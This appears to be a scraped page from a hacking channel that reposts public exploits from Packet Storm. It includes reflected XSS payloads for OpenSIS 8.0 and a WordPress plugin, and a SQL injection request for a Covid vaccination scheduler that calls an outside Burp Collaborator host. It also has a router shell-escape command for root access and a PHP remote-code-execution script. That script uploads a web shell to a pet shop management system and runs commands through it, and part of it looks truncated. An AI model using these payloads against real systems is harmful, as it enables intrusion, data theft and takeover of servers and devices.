Hacking Articles Tips Tricks Videos Tutorials

# Exploit Title: OpenSIS 8.0 - 'cp_id_miss_attn' Reflected Cross-Site Scripting (XSS)
# Date: 9/24/2021
# Exploit Author: Eric Salario
# Vendor Homepage: http://www.os4ed.com/
# Software Link: https://opensis.com/download
# Version: 8.0
# Tested on: Windows, Linux
# CVE : CVE-2021-40310

OpenSIS Community Edition version 8.0 is affected by a cross-site scripting (XSS) vulnerability in the TakeAttendance.php via the cp_id_miss_attn parameter.

1. Login as "teacher".

2. Navigate to (take attendance): http://demo.opensis.com/ForExport.php?modname=users/TeacherPrograms.php?include=attendance/TakeAttendance.php&modfunc=attn&attn=miss&from_dasboard=1&date=Aug/9/2021&cp_id_miss_attn=rotf7%20onmouseover%3dalert(document.domain)%20style%3dposition%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%20z3as5&cpv_id_miss_attn=23&ajax=true&include=attendance/TakeAttendance.php&month_date=Aug&day_date=9&year_date=2021&table=0&page=&LO_sort=&LO_direction=&LO_search=&LO_save=1&_openSIS_PDF=true

Decoded request:

GET /ForExport.php?modname=users/TeacherPrograms.php?include=attendance/TakeAttendance.php&modfunc=attn&attn=miss&from_dasboard=1&date=Aug/9/2021&cp_id_miss_attn=rotf7 onmouseover=alert(document.domain) style=position:absolute;width:100%;height:100%;top:0;left:0; z3as5&cpv_id_miss_attn=23&ajax=true&include=attendance/TakeAttendance.php&month_date=Aug&day_date=9&year_date=2021&table=0&page=&LO_sort=&LO_direction=&LO_search=&LO_save=1&_openSIS_PDF=true HTTP/1.1

3. XSS triggers

PoC Video: https://www.youtube.com/watch?v=aPKPUDmmYpc

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

OpenSIS 8.0 Cross Site Scripting

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

6 viewsedited 15:12

Hacking Articles Tips Tricks Videos Tutorials

6 views15:12

Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
Google Extensible Service Proxy Header Forgery

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Google Extensible Service Proxy Header Forgery

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

6 viewsedited 15:12

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Covid Vaccination Scheduler System 1.0 SQL Injection / Cross Site Scripting

https://4.bp.blogspot.com/-dyIqvjR3K84/WWlvfXt5NkI/AAAAAAAAIQA/Fvmwfk3J4TgcxqdY3USv0_rN_ZW9VtW1ACLcBGAs/s1600/h85.png
Covid Vaccination Scheduler System version 1.0 suffers from cross site scripting and remote SQL injection vulnerabilities. Original discovery of SQL injection in this version is attributed to faisalfs10x in July of 2021.

MD5 | 244e4f5a3652b8edf45eaf6f522a54a4

Download

## [CVE-2021-36621](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36621)
## [Vendor](https://www.sourcecodester.com/php/14847/online-covid-vaccination-scheduler-system-php-free-source-code.html)
## Description

Sourcecodester Online Covid Vaccination Scheduler System 1.0 is vulnerable to SQL Injection, XSS-STORED PHPSESSID Hijacking, and remote SQL Injection - bypass Authentication.

The attacker can be hijacking the PHPSESSID by using this vulnerability and then he can log in to the system and exploit the admin account.

Next, exploitation: For MySQL vulnerability, the username parameter is vulnerable to time-based SQL injection. Upon successful dumping the admin password hash, an attacker can decrypt and obtain the plain-text password. Hence, the attacker could authenticate as an Administrator.

## Request MySQL:
GET /scheduler/addSchedule.php?lid=(select%20load_file('%5c%5c%5c%5ciugn0izvyx9wrtoo6c6oo16xeokh87wyymp9fx4.burpcollaborator.net%5c%5cgfd'))&d= HTTP/1.1
Host: localhost
Cookie: PHPSESSID=30nmu0cj0blmnevrj5arrk8hh3
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Connection: close
Cache-Control: max-age=0

## Respond MySQL:
HTTP/1.1 200 OK
Date: Tue, 28 Sep 2021 11:17:00 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.4.22
X-Powered-By: PHP/7.4.22
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 5045
Connection: close
Content-Type: text/html; charset=UTF-8

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Covid Vaccination Scheduler System 1.0 SQL Injection / Cross Site Scripting

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

7 viewsedited 15:12

Hacking Articles Tips Tricks Videos Tutorials

7 views15:12

Hacking Articles Tips Tricks Videos Tutorials

7 views15:12

Hacking Articles Tips Tricks Videos Tutorials

8 views15:12

Hacking Articles Tips Tricks Videos Tutorials

9 views15:12

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Pet Shop Management System 1.0 Shell Upload

https://2.bp.blogspot.com/-weqZA-ftzQE/WWlvbeJCv3I/AAAAAAAAIPM/_poAex3uv6ENktRwTJkjqdNNBZYRKBnvQCLcBGAs/s1600/h74.png
Pet Shop Management System version 1.0 suffers from a remote shell upload vulnerability.

MD5 | 627f1d99e1a6128d4f0c6fe3fd446a5b

Download

# Title: Pet Shop Management System 1.0 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 28.09.2021
# Author: Mr.Gedik
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14962/petshop-management-system-using-phppdo-oop-full-source-code-complete.html
# Version: 1.0
# https://asciinema.org/a/mjRFsUvshjGIcTsped1PAH8CB
Vulnerable code controllers/add_petmanagement.php
Line 21 - move_uploaded_file($_FILES["images"]["tmp_name"],
$_SERVER['DOCUMENT_ROOT']."/Petshop_Management_System/uploads/" .
addslashes($_FILES["images"]["name"]));

Exploit
#############
/*
@author:mrgedik
*/
function anim($msg, $time)
{
$msg = str_split($msg);
foreach ($msg as $ms) {
echo $ms;
usleep($time);
}
}

anim("__  __       _____          _ _ _
|  \/  |     / ____|        | (_) |
| \  / |_ __| |  __  ___  __| |_| | __
| |\/| | '__| | |_ |/ _ \/ _` | | |/ /
| |  | | |_ | |__| |  __/ (_| | | 
|_|  |_|_(_) \_____|\___|\__,_|_|_|\_\
", 900);

echo PHP_EOL;
while(1)
{
echo anim("Target (http://example.com/path/): ", 800);
$target = trim(fgets(STDIN));
echo PHP_EOL;
if (filter_var($target, FILTER_VALIDATE_URL) === FALSE) {
echo "Not a valid URL".PHP_EOL;
}else {
break;
}
}
@unlink("exp.php");
$fw = fopen("exp.php","a+");
fwrite($fw,' new \CurlFile("exp.php", 'image/png', 'exp.php')
];
curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);
$response = curl_exec($ch);
@unlink("exp.php");

if(strstr($response,"success"))
{
while(1)
{
echo anim("root@pwn: ", 800);
$command = trim(fgets(STDIN));
if($command == trim("exit"))
{
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$target."/uploads/exp.php");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"m=passthru&g=".trim($command));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
echo curl_exec($ch);
curl_close ($ch);
}
}else
{
echo anim("Fail", 800);
}
?>

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Pet Shop Management System 1.0 Shell Upload

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

9 viewsedited 15:12

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Mitrastar GPT-2541GNAC-N1 Privilege Escalation

https://4.bp.blogspot.com/-hp3wB9AXd0k/WWlvDY5V44I/AAAAAAAAIKs/ScSIhWVAvDAhjeMkIwqbNby9r3gKQvOEgCLcBGAs/s1600/h128.png
Mitrastar GPT-2541GNAC-N1 suffers from a privilege escalation vulnerability that provides root privileges.

MD5 | 7476572a4f2ed2d140db93215e304ccf

Download

# Exploit Title: Mitrastar GPT-2541GNAC-N1 - Privilege escalation
# Date: 10-08-2021
# Exploit Author: Leonardo Nicolas Servalli
# Vendor Homepage: www.mitrastar.com
# Platform: Mistrastar router devices GPT-2541GNAC-N1 (HGU)
# Tested on: Firmware BR_g3.5_100VNZ0b33
# Vulnerability analysis: https://github.com/leoservalli/Privilege-escalation-MitraStar/blob/main/README.md

Description:

----------

# Mitrastar GPT-2541GNAC-N1 devices are provided with access through ssh into a restricted default shell (credentials are on the back of the router and in some cases this routers use default credentials).

# The command “deviceinfo show file  deviceinfo show file &&/bin/bash

# This command will spawn a full interoperable bash console with root privileges.

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Mitrastar GPT-2541GNAC-N1 Privilege Escalation

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

7 viewsedited 15:12

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
WordPress Select All Categories And Taxonomies 1.3.1 Cross Site Scripting

https://1.bp.blogspot.com/-jW_VWiRlkJ4/WWlvh6QcNII/AAAAAAAAIQg/x12g-flM0hAb9z-fRCiW9Z3UAYaaFuf7ACLcBGAs/s1600/h9.png
WordPress Select All Categories And Taxonomies plugin version 1.3.1 suffers from a cross site scripting vulnerability.

MD5 | 96d619a945cd3e309ee69910b8465d23

Download

# Exploit Title: WordPress Plugin Select All Categories and Taxonomies 1.3.1 - Reflected Cross-Site Scripting (XSS)
# Date: 2/15/2021
# Author: 0xB9
# Software Link: https://downloads.wordpress.org/plugin/select-all-categories-and-taxonomies-change-checkbox-to-radio-buttons.1.3.1.zip
# Version: 1.3.1
# Tested on: Windows 10
# CVE: CVE-2021-24287

1. Description:
The tab parameter in the Admin Panel is vulnerable to XSS.

2. Proof of Concept:
wp-admin/options-general.php?page=moove-taxonomy-settings&tab="+style=animation-name:rotation+onanimationstart="alert(/XSS/);